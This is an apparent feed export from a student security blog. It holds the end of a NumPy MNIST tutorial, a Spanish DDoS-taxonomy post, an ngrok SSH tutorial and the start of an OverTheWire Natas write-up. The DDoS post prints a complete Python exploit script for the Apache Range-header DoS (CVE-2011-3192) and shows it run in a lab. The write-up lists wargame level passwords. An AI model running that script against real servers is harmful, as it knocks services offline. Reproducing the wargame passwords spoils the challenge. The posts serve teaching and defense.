code:</p><pre><code class="language-python">def fit(model: Model, X: np.ndarray, targets: np.ndarray,
        batch_size: int, epochs: int, learning_rate: float = 0.0001):
    # X and targets must have the same number of examples
    assert X.shape[0] == targets.shape[0]
    for epoch in range(epochs):

        last_examples = len(X) % batch_size
        # batching the inputs
        x = list(X[last_examples:].reshape(
            len(X) // batch_size, -1, X.shape[-1]))
        if X[:last_examples].size &gt; 0:
            x.append(X[:last_examples])
        # batching the targets
        target = list(targets[last_examples:].reshape(
            len(X) // batch_size, -1, targets.shape[-1]))
        target.append(targets[:last_examples])
        # metrics variables
        error = None
        accuracy = None
        start = time.time()
        # epoch iteration
        print(f&apos;Epoch: {epoch+1}:&apos;)
        for i, inp, tar in zip(range(len(x)), x, target):
            loss, acc = train_step(model, inp, tar, learning_rate)
            # metrics calculation
            if error is None and accuracy is None:
                error = loss
                accuracy = acc
            else:
                error = (error + loss) / 2
                accuracy = (accuracy + acc) / 2
            # printing metrics
            msg = f&apos;batchs: {i+1}/{len(x)}, Error: {error} Acc: {acc}&apos;
            print(&quot;&quot;, end=&apos;\r&apos;)
            print(msg, end=&apos;&apos;)
        print(&quot;&quot;, end=&apos;\r&apos;)
        print(msg + f&apos; Time: {time.time() - start}&apos;)
</code></pre><p>Here we have the function &quot;<code>fit</code> &quot;, here we define the training cycles that our model will have, and some parameters to adjust.</p><ul><li><strong><code>X</code></strong> is a matrix with the shape (<strong>m</strong>,<strong>i</strong>) contains the examples for the training of the model.</li><li><strong><code>targets</code></strong> are the expected outputs with the shape (<strong>m</strong>, <strong>n</strong>), &quot;<code>n</code>&quot; is the number of the outputs.</li><li><strong><code>batch_size</code></strong> is the size of the batch in which the examples are grouped, the data can be grouped in small batches to reduce the computational cost of training and help the model to generalize the information, if its value is <code>1</code> it will be trained the model sequentially.</li><li><strong><code>epochs</code></strong> is the number of times the model will cycle through all the examples</li><li><strong><code>learning_rate</code></strong> is already explaining</li></ul><h4 id="testing-our-model-with-real-data">Testing our model with real data</h4><p>Now we are going to use a jupyter notebook, if you aren&apos;t using vscode, you can code in a script.py<br>we create a file &quot;<code>test_model.ipynb</code>&quot; if you are using vscode or &quot;<code>test_model.py</code>&quot; if you use another code editor.<br>first we import what we need<br>We Install tensorflow to use a dataset and matplotlib to visualize the data.</p><pre><code class="language-bash">pip install tensorflow matplotlib
</code></pre><pre><code class="language-python"># libraries
import numpy as np
from matplotlib import pyplot as plt
# Our code
from neural_network import Model, Dense
from training_model import fit, d_mse
# mnist dataset from tensorflow
from tensorflow.keras.datsets import mnist
</code></pre><p>Now we load the dataset</p><pre><code class="language-python"># Load dataset
(x_train, y_train), (x_test, y_test) = mnist.load_data()
</code></pre><p>Viewing the dataset.</p><pre><code class="language-python">plt.figure(figsize=(15, 8))
for i, img, label in zip(range(10), x_train[:10], y_train[:10]):
    plt.subplot(2, 5, i + 1)
    plt.imshow(img)
    plt.xlabel(label)
plt.show()
</code></pre><p>If you managed to run the code until this point you should be able to view images of handwritten numbers.<br></p><figure class="kg-card kg-image-card"><img src="https://blog.scesi.org/content/images/2021/05/numbers-1.png" class="kg-image" alt="Neural Network with Numpy" loading="lazy"></figure><p><br>Now we transform the data so that the model can process it.</p><pre><code class="language-python">x_train = x_train.reshape(len(x_train), -1) # shape (60000, 28*28)
x_train = x_train / 255 # normalizing data to values between 0-1
zeros = np.zeros(
    shape=(y_train.size, int(y_train.max() + 1)) # zeros matrix shape (m, i)
)
zeros[np.arange(len(y_train)), y_train] = 1 # one hot encodig
y_train = zeros # shape (60000, 10)

x_test = x_test.reshape(len(x_test), -1) # shape (10000, 28*28)
x_test = x_test / 255 # normalizing data to values between 0-1
zeros = np.zeros(
    shape=(y_test.size, int(y_test.max()) + 1) # zeros matrix shape (m, i)
)
zeros[np.arange(len(y_test)), y_test] = 1 # one hot encodig
y_test = zeros # shape (10000, 10)
</code></pre><p>We create the model:</p><pre><code class="language-python">model = Model([])
model.add(Dense(128, activation=&apos;relu&apos;))
model.add(Dense(10, activation=&apos;sigmoid&apos;)) # output layer
</code></pre><p>The model has 2 layers, the hidden layer that has 128 neurons with the relu function and the output layer that has 10 neurons with the sigmoid function, the output layer will tell us what number it sees in each image.<br>Note that the number of neurons in the last layer is equal to the number of numerical characters that we have available in the dataset [0 1 2 3 4 5 6 7 8 9].<br>Now to train the model&#xB0;</p><pre><code class="language-python">fit(model, x_train, y_train, batch_size=256, epochs=5, learning_rate=0.01)
</code></pre><p>Console output:<br></p><figure class="kg-card kg-image-card"><img src="https://blog.scesi.org/content/images/2021/05/capture.png" class="kg-image" alt="Neural Network with Numpy" loading="lazy"></figure><p><br>I explain:</p><ul><li><strong><code>x_train</code></strong> is the input data for the model.</li><li><strong><code>y_train</code></strong> is the target, the expected output.</li><li><strong><code>batch_size</code></strong> the model loops through the dataset in batches of 256 samples.</li><li><strong><code>epoch</code></strong> 5 laps.</li><li><strong><code>learning_rate</code></strong> 0.01, The step size of the weights is small enough to avoid sudden changes in training.<br>Apparently the model predicts with an acc = 0.9, that is, an accuracy of 90%. We will see if this is true using the test data.<br>Type this in the file:</li></ul><pre><code class="language-python">predictions = model(x_test)
ACC = np.int64(y_test.argmax(axis=1) == predictions.argmax(axis=1)).mean()
print (f&apos;accuracy: {ACC}&apos;)
</code></pre><p>If the console output looks like this <code>accuracy: 0.9063</code>, the model was training correctly.<br>Try it with other values in the parameters of the <code>fit</code> function to see what results you can get. You can also try increasing more <strong>layers</strong> to the model with the number of neurons you want, the possible values for the &quot;<code>activation</code>&quot; parameter are the strings: &quot;<code>sigmoid</code> &quot;,&quot;<code>tanh</code>&quot; and &quot;<code>relu</code>&quot;.<br>Now we are going to visualize the test results with the test data<br>In the same file write:</p><pre><code class="language-python">def plot_image(i, predictions_array, true_label, img):
  predictions_array, true_label, img = predictions_array, true_label[i], img[i]
  plt.grid(False)
  plt.xticks([])
  plt.yticks([])
  plt.imshow(img, cmap=plt.cm.binary)
  predicted_label = np.argmax(predictions_array)
  true_label = np.argmax(true_label)
  if predicted_label == true_label:
    color = &apos;blue&apos;
  else:
    color = &apos;red&apos;
  plt.xlabel(&quot;{} {:2.0f}% ({})&quot;.format(predicted_label,
                                100*np.max(predictions_array),
                                true_label),
                                color=color)

def plot_value_array(i, predictions_array, true_label):
  predictions_array, true_label = predictions_array, true_label[i]
  plt.grid(False)
  plt.xticks(range(10))
  plt.yticks([])
  thisplot = plt.bar(range(10), predictions_array, color=&quot;#777777&quot;)
  plt.ylim([0, 1])
  predicted_label = np.argmax(predictions_array)
  true_label = np.argmax(true_label)
  thisplot[predicted_label].set_color(&apos;red&apos;)
  thisplot[true_label].set_color(&apos;blue&apos;)
</code></pre><p>And:</p><pre><code class="language-python">num_rows = 5
num_cols = 3
num_images = num_rows*num_cols
plt.figure(figsize=(2*2*num_cols, 2*num_rows))
for i in range(num_images):
  plt.subplot(num_rows, 2*num_cols, 2*i+1)
  plot_image(i, predictions[i], y_test, x_test.reshape(-1,28,28))
  plt.subplot(num_rows, 2*num_cols, 2*i+2)
  plot_value_array(i, predictions[i], y_test)
plt.tight_layout()
plt.show()
</code></pre><p>You should see a result like this.<br></p><figure class="kg-card kg-image-card"><img src="https://blog.scesi.org/content/images/2021/05/test_result.png" class="kg-image" alt="Neural Network with Numpy" loading="lazy"></figure><p><em>That&apos;s it, I hope you have learned something from this blog.</em><br>Bye.</p><h2 id="autor">Autor</h2><ul><li><strong><a href="https://github.com/Samuelpaz95">Willy samuel paz Colque</a></strong></li></ul><h2 id="source-code">Source code</h2><ul><li><strong><a href="https://github.com/Samuelpaz95/ML_algorithms.git">github</a></strong></li><li><strong><a href="https://colab.research.google.com/drive/1CqQcdxpllxMTvEJFVoxYa7exTy-GWmMI?usp=sharing">google colab</a></strong></li></ul>]]></content:encoded></item><item><title><![CDATA[Taxonomía de ataques DDoS
y mecanismos de defensa DDoS]]></title><description><![CDATA[<!--kg-card-begin: markdown--><p><a href="https://doi.org/10.1145/997150.997156"><code>Basado en la investigaci&#xF3;n de Jelena Mirkovic y Peter Reiher</code></a></p>
<blockquote>
<p>Ataque de negaci&#xF3;n de servicio distribuido(DDoS por sus siglas en ingl&#xE9;s, Distributed Denial of Service) se lleva a cabo generando un gran flujo de informaci&#xF3;n desde varios puntos de conexi&#xF3;</p></blockquote>]]></description><link>https://blog.scesi.org/taxonomia-ddos/</link><guid isPermaLink="false">5cc79d381394fe06a3c453b1</guid><category><![CDATA[Investigacion]]></category><category><![CDATA[Seguridad]]></category><category><![CDATA[Hacking]]></category><category><![CDATA[web servers]]></category><category><![CDATA[SCESI]]></category><dc:creator><![CDATA[Drayko Escobar]]></dc:creator><pubDate>Tue, 19 Jan 2021 12:00:00 GMT</pubDate><media:content url="https://blog.scesi.org/content/images/2021/01/7-mayores-ataques-ddos-historia-internet_2.jpg" medium="image"/><content:encoded><![CDATA[<!--kg-card-begin: markdown--><img src="https://blog.scesi.org/content/images/2021/01/7-mayores-ataques-ddos-historia-internet_2.jpg" alt="Taxonom&#xED;a de ataques DDoS
y mecanismos de defensa DDoS"><p><a href="https://doi.org/10.1145/997150.997156"><code>Basado en la investigaci&#xF3;n de Jelena Mirkovic y Peter Reiher</code></a></p>
<blockquote>
<p>Ataque de negaci&#xF3;n de servicio distribuido(DDoS por sus siglas en ingl&#xE9;s, Distributed Denial of Service) se lleva a cabo generando un gran flujo de informaci&#xF3;n desde varios puntos de conexi&#xF3;n hacia un mismo punto de destino. En este Post se mostrar&#xE1;n  2 tipos de taxonom&#xED;as para clasificarlos por ataques y contramedidas, esto para resaltar similitudes, caracter&#xED;sticas y estrategias con la intenci&#xF3;n de dise&#xF1;ar medidas al respecto.</p>
</blockquote>
<p><strong>Introducci&#xF3;n</strong><br>
El desarrollo y uso de las t&#xE9;cnicas de ataques DDoS se incrementaron en el transcurso de tiempo al igual que los atacantes constantemente modifican el enfoque de los mismos, este estudio trata de cubrir tanto los ataques conocidos como posibles modificaciones, divididas o niveles.</p>
<p><strong>Aspectos generales</strong><br>
<em>que hace posible los ataques DDOS?</em><br>
seg&#xFA;n como est&#xE1; dise&#xF1;ado Internet, sigue un paradigma end-to-end, por lo que, en una comunicaci&#xF3;n en 2 v&#xED;as, no existe un tercero que pueda controlar la posibilidad de que se env&#xED;en paquetes maliciosos, para poder detenerlos inmediatamente. Adem&#xE1;s de la posibilidad de realizar IP Spoofing, lo cual dificulta a&#xFA;n m&#xE1;s su control sin afectar clientes verdaderos del Host v&#xED;ctima.</p>
<p><em>c&#xF3;mo se realizan los ataques de DDOS?</em><br>
Para empezar, constan de distintas fases. Usualmente con la ayuda de escaneos autom&#xE1;ticos se buscan dispositivos que puedan llegar a ser vulnerables, en palabras simples, empieza el reclutamiento del ejercito; Teniendo identificados estos, son explotados o infectados de igual manera autom&#xE1;ticamente en lo general, para introducir el c&#xF3;digo malicioso que servir&#xE1; posteriormente para con estos nuevos reclutas continuar con un mayor reclutamiento, yo lo llamar&#xED;a como una estafa piramidal.</p>
<p><em>por que se realizan los ataques de DDOS?</em><br>
Usualmente son por motivos personales(venganza) o reputaci&#xF3;n (conseguir respeto y fama). Sin embargo, tambi&#xE9;n son realizados por motivos econ&#xF3;micos (da&#xF1;ar a un competidor) y pol&#xED;ticos (como una guerra en la que se podr&#xED;a dejar a todo un pa&#xED;s sin servicios de internet, un hecho que Rusia hace poco tomo en cuenta y trabaja en mejorar su independencia en servicios de internet y contramedidas ante esto).</p>
<p><strong>Taxonom&#xED;a de ataques DDOS</strong><br>
<em>DA: Degree of Automation (Grado de automatizaci&#xF3;n)</em><br>
<em>DA-1 Manual</em><br>
Las fases mencionadas anteriormente de escaneo y explotaci&#xF3;n son realizadas por el atacante de forma manual en su completitud.</p>
<p><em>DA-2 Semi-Automatic</em></p>
<p>...<br>
<img src="https://blog.scesi.org/content/images/2021/01/DDoS-Attack-Mechanisms.png" alt="Taxonom&#xED;a de ataques DDoS
y mecanismos de defensa DDoS" loading="lazy"></p>
<p><strong>Taxonom&#xED;a de mecanismos de defensa DDOS</strong></p>
<p><img src="https://blog.scesi.org/content/images/2021/01/DoS-Defense-Mechanisms.png" alt="Taxonom&#xED;a de ataques DDoS
y mecanismos de defensa DDoS" loading="lazy"></p>
<p>Para m&#xE1;s detalles sobre cada clasificaci&#xF3;n, <a href="https://doi.org/10.1145/997150.997156">aqu&#xED;</a> el art&#xED;culo.</p>
<hr>
<p><strong>Demo Time | <em><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3192">CVE-2011-3192</a></em></strong><br>
Para dar un ejemplo pr&#xE1;ctico de un ataque <em>DDOS</em> tome como caso de estudio el ataque denominado <em><strong>ApacheKiller</strong></em>, que permite a los atacantes realizar una denegaci&#xF3;n de servicio (consumo de memoria y CPU) a trav&#xE9;s del <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Range_requests">Header <code>Range</code></a> que expresa m&#xFA;ltiples rangos superpuestos, y que este tiene asignado el <code>CVE-2011-3192</code>. Tiene como versiones afectadas en Apache HTTP Server <code>1.3.x</code>, <code>2.0.x</code> hasta <code>2.0.64</code> y <code>2.2.x</code> hasta <code>2.2.19</code>. En mi caso use Window$7 como Host Victima con Apache <code>v2.2.15</code> y con un script hecho en python para realizar el ataque.</p>
<p><em>Paso 1</em><br>
Instalar y correr una versi&#xF3;n Apache vulnerable descrita previamente<br>
<img src="https://blog.scesi.org/content/images/2019/07/1.png" alt="Taxonom&#xED;a de ataques DDoS
y mecanismos de defensa DDoS" loading="lazy"></p>
<p><em>Paso 2</em><br>
Realice un peque&#xF1;o test, para que puedan observar a detalle el Request, en el que adem&#xE1;s nos manda la versi&#xF3;n de Apache que se utiliza, esto en un Test ya remunerado o Bug Bounty puede sernos de mucha utilidad claramente.<br>
<img src="https://blog.scesi.org/content/images/2019/07/2.png" alt="Taxonom&#xED;a de ataques DDoS
y mecanismos de defensa DDoS" loading="lazy"></p>
<p><em>Paso 3</em><br>
Con el script realizado en Python por <em>Miroslav Stampar</em> hacemos el testeo</p>
<pre class="line-numbers language-python"><code>#!/usr/bin/env python

import optparse, os, re, socket, threading, time, urllib, urllib2, urlparse

NAME        = &quot;KillApachePy (Range Header DoS CVE-2011-3192)&quot;
VERSION     = &quot;0.1c&quot;
AUTHOR      = &quot;Miroslav Stampar (@stamparm)&quot;
LICENSE     = &quot;Public domain (FREE)&quot;
SHORT       = &quot;You&apos;ll typically have to wait for 10-20 iterations before first connection timeouts. More complex/bigger the page the better&quot;
REFERENCE   = &quot;http://seclists.org/fulldisclosure/2011/Aug/175&quot;

SLEEP_TIME      = 3     # time to wait for new thread slots (after max number reached)
RANGE_NUMBER    = 1024  # number of range subitems forming the DoS payload
USER_AGENT      = &quot;KillApachePy (%s)&quot; % VERSION

def attack(url, user_agent=None, method=&apos;GET&apos;, proxy=None):
    if &apos;://&apos; not in url:
        url = &quot;http://%s&quot; % url

    host = urlparse.urlparse(url).netloc

    user_agent = user_agent or USER_AGENT

    if proxy and not re.match(&apos;\Ahttp(s)?://[^:]+:[0-9]+(/)?\Z&apos;, proxy, re.I):
        print &quot;(x) Invalid proxy address used&quot;
        exit(-1)

    proxy_support = urllib2.ProxyHandler({&apos;http&apos;: proxy} if proxy else {})
    opener = urllib2.build_opener(proxy_support)
    urllib2.install_opener(opener)

    class _MethodRequest(urllib2.Request):
        &apos;&apos;&apos;
        Create any HTTP (e.g. HEAD/PUT/DELETE) request type with urllib2
        &apos;&apos;&apos;
        def set_method(self, method):
            self.method = method.upper()

        def get_method(self):
            return getattr(self, &apos;method&apos;, urllib2.Request.get_method(self))

    def _send(check=False):
        &apos;&apos;&apos;
        Send the vulnerable request to the target
        &apos;&apos;&apos;
        if check:
            print &quot;(i) Checking target for vulnerability...&quot;
        payload = &quot;bytes=0-,%s&quot; % &quot;,&quot;.join(&quot;5-%d&quot; % item for item in xrange(1, RANGE_NUMBER))
        try:
            headers = { &apos;Host&apos;: host, &apos;User-Agent&apos;: USER_AGENT, &apos;Range&apos;: payload, &apos;Accept-Encoding&apos;: &apos;gzip, deflate&apos; }
            req = _MethodRequest(url, None, headers)
            req.set_method(method)
            response = urllib2.urlopen(req)
            if check:
                return response and (&apos;byteranges&apos; in repr(response.headers.headers) or response.code == 206)
        except urllib2.URLError, msg:
            if &apos;timed out&apos; in str(msg):
                print &quot;\r(i) Server seems to be choked (&apos;%s&apos;)&quot; % msg
            else:
                print &quot;(x) Connection error (&apos;%s&apos;)&quot; % msg
                if check or &apos;Forbidden&apos; in str(msg):
                    os._exit(-1)
        except Exception, msg:
            raise

    try:
        if not _send(check=True):
            print &quot;(x) Target does not seem to be vulnerable&quot;
        else:
            print &quot;(o) Target seems to be vulnerable\n&quot;
            quit = False
            while not quit:
                threads = []
                print &quot;(i) Creating new threads...&quot;
                try:
                    while True:
                        thread = threading.Thread(target=_send)
                        thread.start()
                        threads.append(thread)
                except KeyboardInterrupt:
                    quit = True
                    raise
                except Exception, msg:
                    if &apos;new thread&apos; in str(msg):
                        print &quot;(i) Maximum number of new threads created (%d)&quot; % len(threads)
                    else:
                        print &quot;(x) Exception occured (&apos;%s&apos;)&quot; % msg
                finally:
                    if not quit:
                        print &quot;(o) Waiting for %d seconds to acquire new threads&quot; % SLEEP_TIME
                        time.sleep(SLEEP_TIME)
                        print
    except KeyboardInterrupt:
        print &quot;\r(x) Ctrl-C was pressed&quot;
        os._exit(1)

def main():
    print &quot;%s #v%s\n by: %s\n\n(Note(s): %s)\n&quot; % (NAME, VERSION, AUTHOR, SHORT)
    parser = optparse.OptionParser(version=VERSION)
    parser.add_option(&quot;-u&quot;, dest=&quot;url&quot;, help=&quot;Target url (e.g. \&quot;http://www.target.com/index.php\&quot;)&quot;)
    parser.add_option(&quot;--agent&quot;, dest=&quot;agent&quot;, help=&quot;User agent (e.g. \&quot;Mozilla/5.0 (Linux)\&quot;)&quot;)
    parser.add_option(&quot;--method&quot;, dest=&quot;method&quot;, default=&apos;GET&apos;, help=&quot;HTTP method used (default: GET)&quot;)
    parser.add_option(&quot;--proxy&quot;, dest=&quot;proxy&quot;, help=&quot;Proxy (e.g. \&quot;http://127.0.0.1:8118\&quot;)&quot;)
    options, _ = parser.parse_args()
    if options.url:
        result = attack(options.url, options.agent, options.method, options.proxy)
    else:
        parser.print_help()

if __name__ == &quot;__main__&quot;:
    main()
</code></pre>
<p>Y configurandolo con el proxy de Burp Suite quedar&#xED;a algo as&#xED; en terminal:</p>
<pre><code>root@lab:~# python Apachekiller.py -u 192.168.100.58 --proxy=&quot;http://127.0.0.1:8080&quot;
KillApachePy (Range Header DoS CVE-2011-3192) #v0.1c
by: Miroslav Stampar (@stamparm)

(Note(s) You&apos;ll typically have to wait for 10-20 iterations before first
connection timeouts. More complex/bigger the page the better)

(i) Checking target for vulnerability...
(o) Target seems to be vulnerable
(1) Creating new threads
</code></pre>
<p>una vez ejecutado esto regresemos a ver nuestro servidor:<br>
<img src="https://blog.scesi.org/content/images/2019/07/4.png" alt="Taxonom&#xED;a de ataques DDoS
y mecanismos de defensa DDoS" loading="lazy"><br>
Como pueden ver, el Uso de CPU esta hasta el tope, por lo cual podemos evidenciar la vulnerabilidad a la que es susceptible estas versiones de Apache sin embargo analicemos las peticiones que se enviaron.<br>
<img src="https://blog.scesi.org/content/images/2019/07/5.png" alt="Taxonom&#xED;a de ataques DDoS
y mecanismos de defensa DDoS" loading="lazy"><br>
c&#xF3;mo ven, se env&#xED;a peticiones con Range superpuestos por lo cual nuestro servidor debe procesar todo esto en mayor tiempo (consumiendo as&#xED; recursos), lo cual a gran escala resulta fatal.<br>
<img src="https://blog.scesi.org/content/images/2019/07/6.png" alt="Taxonom&#xED;a de ataques DDoS
y mecanismos de defensa DDoS" loading="lazy"><br>
Como tal este ser&#xED;a un ataque DOS, que sin embargo logro un 100% de Uso de CPU, ahora con un ataque simultaneo con m&#xE1;s maquinas (DDOS), podr&#xED;a resultarnos en una pantalla azul, dejando abajo el servidor.</p>
<p>Este ser&#xED;a un ejemplo en nuestra Taxonom&#xED;a de un <em>EW-1(Exploited Weakness to Deny Services:Semantic)</em> dado que el ataque aprovecha un bug que result&#xF3; en estas versiones de Apache.</p>
<p>Una soluci&#xF3;n a este problema ser&#xED;a una actualizaci&#xF3;n del servidor y/o parches si los tuviera, tambi&#xE9;n un WAF como <em>modSecurity</em>. Por esto la taxonom&#xED;a a nuestro mecanismo de defensa contra el DDOS seria <em>AL-1:PG-1:ST-1(Activity Level:Preventive - Prevention Goal:Attack Prevention - Secured Target: System Security)</em>.</p>
<p>Eso ser&#xED;a, si tuvieran dudas no duden en escribir.<br>
-Hackers are People Too &#x1F61C;</p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[Conexión SSH a Raspberry fuera de la red local]]></title><description><![CDATA[<!--kg-card-begin: markdown--><p>Bueno este post es por la universidad que espero les sirva a los que est&#xE1;n en Arquitectura de Computadoras 2 o con necesidades similares.</p>
<p>Para lograr una conexi&#xF3;n SSH fuera del &#xE1;rea local a una raspberry(u otro dispositivo en general que tenga SSH), de</p>]]></description><link>https://blog.scesi.org/conexion-ssh-externa-raspberry/</link><guid isPermaLink="false">5ec30bc61171fe356f78a992</guid><category><![CDATA[SSH]]></category><category><![CDATA[Raspberry]]></category><category><![CDATA[web servers]]></category><dc:creator><![CDATA[Drayko Escobar]]></dc:creator><pubDate>Sat, 30 May 2020 20:14:10 GMT</pubDate><media:content url="https://blog.scesi.org/content/images/2020/05/1366_2000.jpg" medium="image"/><content:encoded><![CDATA[<!--kg-card-begin: markdown--><img src="https://blog.scesi.org/content/images/2020/05/1366_2000.jpg" alt="Conexi&#xF3;n SSH a Raspberry fuera de la red local"><p>Bueno este post es por la universidad que espero les sirva a los que est&#xE1;n en Arquitectura de Computadoras 2 o con necesidades similares.</p>
<p>Para lograr una conexi&#xF3;n SSH fuera del &#xE1;rea local a una raspberry(u otro dispositivo en general que tenga SSH), de manera sencilla, me parece esta, por distintos motivos(podr&#xED;a ser habilitando puertos en el router, solo que esto seg&#xFA;n la operadora puede llegar a ser muy dif&#xED;cil de lograr por sus pol&#xED;ticas entre otras cosas), entonces continuemos, se necesita instalar <a href="https://ngrok.com/download">Ngrok</a><br>
<img src="https://blog.scesi.org/content/images/2020/05/Screenshot_2020-05-18_18-04-53.png" alt="Conexi&#xF3;n SSH a Raspberry fuera de la red local" loading="lazy"></p>
<p>En el caso de la Raspberry se necesita la versi&#xF3;n <a href="https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-arm.zip">Linux(ARM)</a> o en consola:</p>
<pre><code>wget https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-arm.zip
</code></pre>
<p>luego se hace el unzip tal como explica el tutorial de ngrok en consola:</p>
<pre><code>unzip ngrok-stable-linux-arm.zip
</code></pre>
<p>Lo siguiente es registrarse y/o ingresar en ngrok, y una vez ah&#xED; se van a <a href="https://dashboard.ngrok.com/auth/your-authtoken">este link</a> donde les mostrara el token para su cuenta<br>
Una vez sabiendo su token ejecutan lo siguiente en la Raspberry:</p>
<pre><code>./ngrok authtoken XXXXXtuTokenAquiXXXXXXX
</code></pre>
<p>con eso estar&#xED;a configurado, solo falta poner a la escucha el puerto 22 que se utiliza SSH, de la siguiente forma</p>
<pre><code>./ngrok tcp 22
</code></pre>
<p>es entonces cuando les muestra el Host y puerto al que apuntara<br>
<img src="https://blog.scesi.org/content/images/2020/05/Screenshot_2020-05-18_18-25-33.png" alt="Conexi&#xF3;n SSH a Raspberry fuera de la red local" loading="lazy"></p>
<p>Lo cual muestra en Forwarding la direcci&#xF3;n TCP y puerto que nos habilitan para trabajar con nuestra Raspberry.</p>
<p>En este caso era 0.tcp.ngrok.io y puerto 17271, es decir que en vez de nuestra ip local y puerto por defecto(22), se debe especificar estos para acceder fuera del &#xE1;rea local a nuestra Raspberry, es decir:</p>
<pre><code>ssh pi@0.tcp.ngrok.io -p17271
</code></pre>
<p>y esito ser&#xED;a :D</p>
<p>-Hackers are People Too &#x1F61C;</p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[OverTheWire (Natas)]]></title><description><![CDATA[<!--kg-card-begin: markdown--><p><a href="https://overthewire.org/wargames/natas/">Natas</a> es un <a href="https://infseg.com/seguridad/captura-la-bandera-ctf/">CTF</a> centrado mas en seguridad web del lado del servidor. Hasta la fecha son 34 niveles, tratare de llegar hasta el final y subire en el camino las soluciones.<br>
Herramientas que use para esta primera parte</p>
<ul>
<li>Chromium con algunas extensiones(pueden usar chrome tambien si quieren)</li>
<li>Firefox</li></ul>]]></description><link>https://blog.scesi.org/natas-primera-parte/</link><guid isPermaLink="false">5e63bf4bb19f5f077b7eb4db</guid><category><![CDATA[Seguridad]]></category><category><![CDATA[Hacking]]></category><category><![CDATA[Linux]]></category><category><![CDATA[SCESI]]></category><category><![CDATA[WriteUp]]></category><dc:creator><![CDATA[Alvaro]]></dc:creator><pubDate>Sun, 15 Mar 2020 02:23:26 GMT</pubDate><media:content url="https://blog.scesi.org/content/images/2020/03/433d2fb261d92f70ad98be396479d48e-2.jpg" medium="image"/><content:encoded><![CDATA[<!--kg-card-begin: markdown--><img src="https://blog.scesi.org/content/images/2020/03/433d2fb261d92f70ad98be396479d48e-2.jpg" alt="OverTheWire (Natas)"><p><a href="https://overthewire.org/wargames/natas/">Natas</a> es un <a href="https://infseg.com/seguridad/captura-la-bandera-ctf/">CTF</a> centrado mas en seguridad web del lado del servidor. Hasta la fecha son 34 niveles, tratare de llegar hasta el final y subire en el camino las soluciones.<br>
Herramientas que use para esta primera parte</p>
<ul>
<li>Chromium con algunas extensiones(pueden usar chrome tambien si quieren)</li>
<li>Firefox</li>
</ul>
<h1 id="nivel0">Nivel 0</h1>
<p>Nivel inicial<br>
Nos dan como dato :</p>
<blockquote>
<p>Username: natas0<br>
Password: natas0</p>
</blockquote>
<p>y la url del reto</p>
<blockquote>
<p><a href="http://natas0.natas.labs.overthewire.org">http://natas0.natas.labs.overthewire.org</a></p>
</blockquote>
<p><img src="https://blog.scesi.org/content/images/2020/03/Screenshot_2020-03-13-Screenshot.png" alt="OverTheWire (Natas)" loading="lazy"></p>
<p>A primera vista no hay nada sugestivo, entonces lo que se hace es revisar el codigo con el inspector de chromium(click derecho -&gt; Inspect), y aparecera el codigo del html<br>
<img src="https://blog.scesi.org/content/images/2020/03/natas0.png" alt="OverTheWire (Natas)" loading="lazy"><br>
Observandolo con detenimiento se aprecia en forma de comentario la flag</p>
<blockquote>
<p><code>&lt;!--The password for natas1 is gtVrDuiDfck831PqWsLEZy5gyDz1clto --&gt;&quot;</code></p>
</blockquote>
<h1 id="nivel1">Nivel 1</h1>
<blockquote>
<p>Username: natas1<br>
Password : gtVrDuiDfck831PqWsLEZy5gyDz1clto</p>
</blockquote>
<p>En este nivel se nos dice que el click derecho ha sido bloqueado, y si lo intentamos nos sale un alert diciendonos que esta bloqueado.</p>
<p><img src="https://blog.scesi.org/content/images/2020/03/natas1.png" alt="OverTheWire (Natas)" loading="lazy"></p>
<p>Dado que tenemos que inspeccionar el codigo al no funcionar el click derecho , podemos usar los atajos directo(ctrl+shift+i,o aprentando F12)<br>
<img src="https://blog.scesi.org/content/images/2020/03/natas1-2.png" alt="OverTheWire (Natas)" loading="lazy"><br>
Al inspeccionar el codigo se visualiza la flag</p>
<blockquote>
<p><code>&lt;!--The password for natas2 is ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi --&gt;</code></p>
</blockquote>
<h1 id="nivel2">Nivel 2</h1>
<blockquote>
<p>Username: natas2<br>
Passwor: ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi</p>
</blockquote>
<p>Este nivel nos dice que no hay nada en la pagina<br>
<img src="https://blog.scesi.org/content/images/2020/03/Screenshot_2020-03-14-Screenshot-1-.png" alt="OverTheWire (Natas)" loading="lazy"><br>
Nos ponemos a inspeccionar el codigo y nos topamos con la direccion de una imagen, la cual nos revela informacion de su directorio.<br>
<img src="https://blog.scesi.org/content/images/2020/03/natas2.png" alt="OverTheWire (Natas)" loading="lazy"></p>
<blockquote>
<p><code>&lt;img src=&quot;files/pixel.png&quot;&gt;</code></p>
</blockquote>
<p>Entramos a la carpeta files mediante la url</p>
<blockquote>
<p><a href="http://natas2.natas.labs.overthewire.org/files/">http://natas2.natas.labs.overthewire.org/files/</a></p>
</blockquote>
<p><img src="https://blog.scesi.org/content/images/2020/03/Screenshot_2020-03-14-Index-of-files.png" alt="OverTheWire (Natas)" loading="lazy"><br>
Vemos que se encuentra el la imagen pixel.png y tambien el users.txt, y si lo revisaremos encontraremos</p>
<blockquote>
<p>natas3:sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14</p>
</blockquote>
<blockquote>
<h1 id="nivel3">Nivel 3</h1>
<p>Username: natas3<br>
Password:sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14</p>
</blockquote>
<p>Inspeccioanndo el codigo veremos un curioso mensaje que nos dice</p>
<blockquote>
<p>Not even Google will find it this time</p>
</blockquote>
<p>Y cuando hablamos de las busquedas de google en una pagina estamos hablando del archivo robots.txt</p>
<p><img src="https://blog.scesi.org/content/images/2020/03/natas3.png" alt="OverTheWire (Natas)" loading="lazy"><br>
robots.txt o tambien &quot;robots exclusion protocol&quot; es usado por pagina para decir a las web crawlers o robots que partes no deben ser procesadas o escaneadas.<br>
Y si ingresamos a ese txt ...</p>
<blockquote>
<p><a href="http://natas3.natas.labs.overthewire.org/robots.txt">http://natas3.natas.labs.overthewire.org/robots.txt</a></p>
</blockquote>
<p>Nos aparecera el nombre de una carpeta</p>
<blockquote>
<p>Disallow: /s3cr3t/</p>
</blockquote>
<p>y si ingresamos a esa carpeta</p>
<blockquote>
